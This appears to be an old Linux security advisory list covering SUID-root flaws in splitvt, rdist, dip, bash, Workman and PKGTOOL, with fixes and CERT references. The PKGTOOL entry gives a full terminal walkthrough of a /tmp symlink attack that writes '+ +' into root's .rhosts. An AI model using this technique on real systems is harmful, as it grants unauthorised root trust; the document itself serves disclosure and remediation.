The kernel does not do proper checking on whom is killing whom's task, thus anyone can kill anyones tasks. From what I understand its a problem with certain libraries, but upgrading the kernel fixes it.

The Quick fix:
Upgrade your kernel.

The Long Term Fix:
Upgrade your kernel.

The Exploit:
sigurg.c

Name:
splitvt

Result:
Local users may gain root access.

Requirements:
splitvt SUID root. Found only in Slackware 2.0, 2.1, 2.2, 2.3 and Slackware derived systems.

Effected?:
Do you have a SUID root splitvt?

Description:
There is array in splitvt where is the bounds are not checked, thus the buffer can be overflowed and the stack rewritten. There is exploit for this(See below).

The Quick fix:
chmod 500 splitvt.

The Long Term Fix:
rm -f splitvt. This program is completly useless.

The Exploit:
splitvt.c

The Link:
VB-96.01.splitvt


Name:
rdist

Result:
Local users can gain root access.

Requirements:
rdist on Slackware 3.0 and derived systems SUID root. This is not done by default. Many people do SUID root rdist to make their jobs easier.

Effected?:
Have you changed the permissions of rdist to SUID root?

Description:
rdist comes on many distrubutions of Linux, but on all/most (Uhh...) rdist is not SUID root (This program has history of being exploited). There is a buffer in rdist that can be overflowed and the stack rewritten too, thus giving the user a root shell of their own. There is exploit for this.

The Quick fix:
ls -la /usr/bin/rdist and if it is sr-xr-xr-x then you have a problem.

The Long Term Fix:
Download the latest version of rdist and install. You really should not SUID root this program.

The Exploit:
rdistExp.c

The Link:
CA-96.14.rdist_vul


Name:
dip 3.3.7n

Result:
Local users can gain root access

Requirements:
dip 3.3.7n SUID root. Slackware 3.0 and RedHat 2.1 verified,others unknown

Description:
There is a buffer problem in Dip that lets the user overflow a buffer and rewrite the its stack, giving themselves a root shell. This requires an exploit program, which is avilable below.

The Quick fix:
chmod 700 dip. Note, this creates problems if non-root users use dip. It is highly suggested that you do The Long Term Fix if you use Dip.

The Long Term Fix:
Download the latest version of dip, configure and install. If you do not use dip, then delete it.

The Exploit:
dipExploitLinux.c

The Link:
Cert Advisory CA-96.13


Name:
bash versions 1.14.6 and earlier

Result:
Do whatever the attacker wants with the access of the person whom owns the shell.
Requirements:
Bash 1.14.6 and earlier.

Effected?:
You have scripts or CGI input that is fed to bash script?

Description:
There is problem with the Bash shell program that lets users enter two commands but bash thinks it is just one, but executes the second command as the owner of the script. This only effects persons who have scripts are SUID that are ran by other users or have use improperly configured CGI to execute commands on the local machine (check input or forward the input to an account). As you can tell, this effects very few people

The Quick fix:
Don't use Bash, and infact, don't use any shell to execute scripts SUID. This is just common sense.

The Long Term Fix:
Upgrade Bash or better yet, do any serious scripting in Perl or better better yet, do it in C.

Links:
CA-96.22.bash_vuls


Name:
Workman

Result:
Local user can modify permissions on machine amaking world-writeable

Requirements:
Installed Workman as SUID root.

Effected?:
Have Workman, have it SUID root and localusers can run it. Unknown what distrbutions of Linux.

Description:
Workman writes it PID (Process ID) to /tmp. This can be changed with the -p option. When Workman access the file, it changes the promission bits of the file, but fails to restore afterwards if it is SUID root.

The Quick fix:
chmod 700 workman. Makes it only accessable by root.

The Long Term Fix:
Upgrade workman, or chmod 700 and leave it that way.

The Links:
v02.n061 of the linux security digest.


Name:
PKGTOOL

Result:
Local users can add to any file.

Requirements:
Have PKGTOOL SUID root, and have the /tmp/PKGTOOL.REMOVED deleted or not created. Slackware 3.0

Effected?:
Check permission of PKGTOOL if you have Slackware 3.0 or eariler.

Description:
PKGTOOL changes the permission of the /tmp/PKGTOOL.REMOVED to add to it, but the permissions are set READ/WRITE for User, Group, Other. If the files does not exist, the attacker can create a symlink to anyfile and then cat to it (IE: /root/.rhosts)

The Quick fix:
chmod 700 pkgtool. Now, only install software as root.

The Long Term Fix:
chmod 700 pkgtool. Only install software as root. Unknown if there is a update for this. Have to check Slackware 3.1.

The Exploit:

  If /tmp/PKGTOOL.REMOVED gets deleted or hasn't been created yet, any user
  can now create a symbolic link from /tmp/PKGTOOL.REMOVED to ~root/.rhosts
  (for a generic example).  The next time PKGTOOL is run, which will more
  than likely be run by root, ~root/.rhosts will be created as a 666 file
  with the logs from PKGTOOL as its contents.  One may now simply do an echo
  "+ +" > /tmp/PKGTOOL.REMOVED, then rm /tmp/PKGTOOL.REMOVED.

  For this example, root is the victim while hamors is the attacker:

hamors (2 20:57) litterbox:/tmp> ls -al | grep PKG
- - -rw-rw-rw-   1 root     root        16584 Aug 26 18:07 PKGTOOL.REMOVED.backup

hamors (3 21:00) litterbox:/tmp> ln -s ~root/.rhosts PKGTOOL.REMOVED

hamors (4 20:58) litterbox:/tmp> cat PKGTOOL.REMOVED
cat: PKGTOOL.REMOVED: No such file or directory

God (17 20:59) litterbox:~# pkgtool
  root now uses PKGTOOL to delete a package

hamors (5 DING!) litterbox:/tmp> head PKGTOOL.REMOVED
Removing package tcl:
Removing files:
  ...

hamors (6 21:00) litterbox:/tmp> echo "+ +" > PKGTOOL.REMOVED

hamors (7 21:00) litterbox:/tmp> cat ~root/.rhosts
+ +
The Link:
v02.n061 of the Linux Security Digest.